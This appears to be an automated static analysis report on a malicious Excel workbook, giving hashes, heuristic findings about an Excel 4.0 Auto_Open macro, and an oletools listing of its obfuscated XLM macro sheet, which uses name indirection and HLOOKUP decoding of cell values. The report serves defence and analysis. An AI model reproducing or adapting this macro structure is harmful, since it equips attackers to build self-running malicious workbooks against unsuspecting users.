Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 efbe008dc90393c0…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:43:38 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 735b416a5adead3ae66e8964c932a8a1 SHA-1: 161f75be62bc572454b45cdc51838bd5476463d9 SHA-256: efbe008dc90393c0f3483f4ad09513703e1e31c390ee720682cb949f340f4dfa
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6560 bytes
SHA-256: 519e7db4db93b5b2f7b135d28517621028a789f76f9c4b263f0c934ab463a7b2
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Kmr
' 0018     21 LABEL : Cell Value, String Constant - Appsew len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D150 
' 0018     20 LABEL : Cell Value, String Constant - BcPMy len=0 
' 0018     26 LABEL : Cell Value, String Constant - BHVInoUWrDo len=0 
' 0018     21 LABEL : Cell Value, String Constant - dmsIQX len=0 
' 0018     27 LABEL : Cell Value, String Constant - eHZKbwpwLRld len=0 
' 0018     26 LABEL : Cell Value, String Constant - ErzHfIiOwBR len=0 
' 0018     24 LABEL : Cell Value, String Constant - GjYofzcLc len=0 
' 0018     23 LABEL : Cell Value, String Constant - gPLSyFzZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - KToWYmaUSX len=0 
' 0018     25 LABEL : Cell Value, String Constant - kyvlTapUoY len=0 
' 0018     25 LABEL : Cell Value, String Constant - NdYdZsUpkK len=0 
' 0018     27 LABEL : Cell Value, String Constant - nwfrcqhvbLDM len=0 
' 0018     22 LABEL : Cell Value, String Constant - PefIrWG len=0 
' 0018     25 LABEL : Cell Value, String Constant - phBwjmtaDz len=0 
' 0018     24 LABEL : Cell Value, String Constant - QHBnDCnxj len=0 
' 0018     26 LABEL : Cell Value, String Constant - rsEoZyZOfLo len=0 
' 0018     25 LABEL : Cell Value, String Constant - sfGXhYynSL len=0 
' 0018     22 LABEL : Cell Value, String Constant - SsTpkIw len=0 
' 0018     21 LABEL : Cell Value, String Constant - UhiJHt len=0 
' 0018     20 LABEL : Cell Value, String Constant - vxbER len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Kmr,D58,"SET.NAME("QHBnDCnxj",0+VALUE("0"))",""
'  Kmr,D61,"SET.NAME("phBwjmtaDz",QHBnDCnxj)",""
'  Kmr,D65,"SET.NAME("ErzHfIiOwBR",QHBnDCnxj)",""
'  Kmr,D67,"SET.NAME("vxbER",COUNTA(NdYdZsUpkK))",""
'  Kmr,D70,"SET.NAME("PefIrWG",COUNTA(SsTpkIw))",""
'  Kmr,R73,"",435.00000000000000000000
'  Kmr,R74,"",-534.00000000000000000000
'  Kmr,D75,[],""
'  Kmr,R75,"",900.00000000000000000000
'  Kmr,R76,"",399.00000000000000000000
'  Kmr,D77,"SET.NAME("gPLSyFzZ","")",""
'  Kmr,R77,"",-104.00000000000000000000
'  Kmr,R78,"",-498.00000000000000000000
'  Kmr,D82,"phBwjmtaDz",""
'  Kmr,D87,"SET.NAME("sfGXhYynSL",HLOOKUP("*",NdYdZsUpkK,phBwjmtaDz,FALSE))",""
'  Kmr,D89,"Appsew",""
'  Kmr,D91,"SET.NAME("UhiJHt",QHBnDCnxj)",""
'  Kmr,D93,[],""
'  Kmr,D95,"UhiJHt",""
'  Kmr,D99,"eHZKbwpwLRld",""
'  Kmr,D104,"rsEoZyZOfLo",""
'  Kmr,D108,"BHVInoUWrDo",""
'  Kmr,D113,"SET.NAME("BcPMy",VALUE(HLOOKUP("*",SsTpkIw,BHVInoUWrDo,FALSE)))",""
'  Kmr,D118,"KToWYmaUSX",""
'  Kmr,D123,"gPLSyFzZ",""
'  Kmr,D128,"ErzHfIiOwBR",""
'  Kmr,D131,NEXT(),""
'  Kmr,D134,"kyvlTapUoY",""
'  Kmr,D137,[],""
'  Kmr,D139,"dmsIQX",""
'  Kmr,D142,NEXT(),""
'  Kmr,D146,RETURN(),""
'  Kmr,D178,"SET.NAME("GjYofzcLc",D58)",""
'  Kmr,D182,"NdYdZsUpkK",""
'  Kmr,D186,"SET.NAME("SsTpkIw",R62C11)",""
'  Kmr,D190,"SET.NAME("dmsIQX",198)",""
'  Kmr,D195,"SET.NAME("nwfrcqhvbLDM",4)",""
'  Kmr,D197,GjYofzcLc(),""
'  Kmr,D198,HALT(),""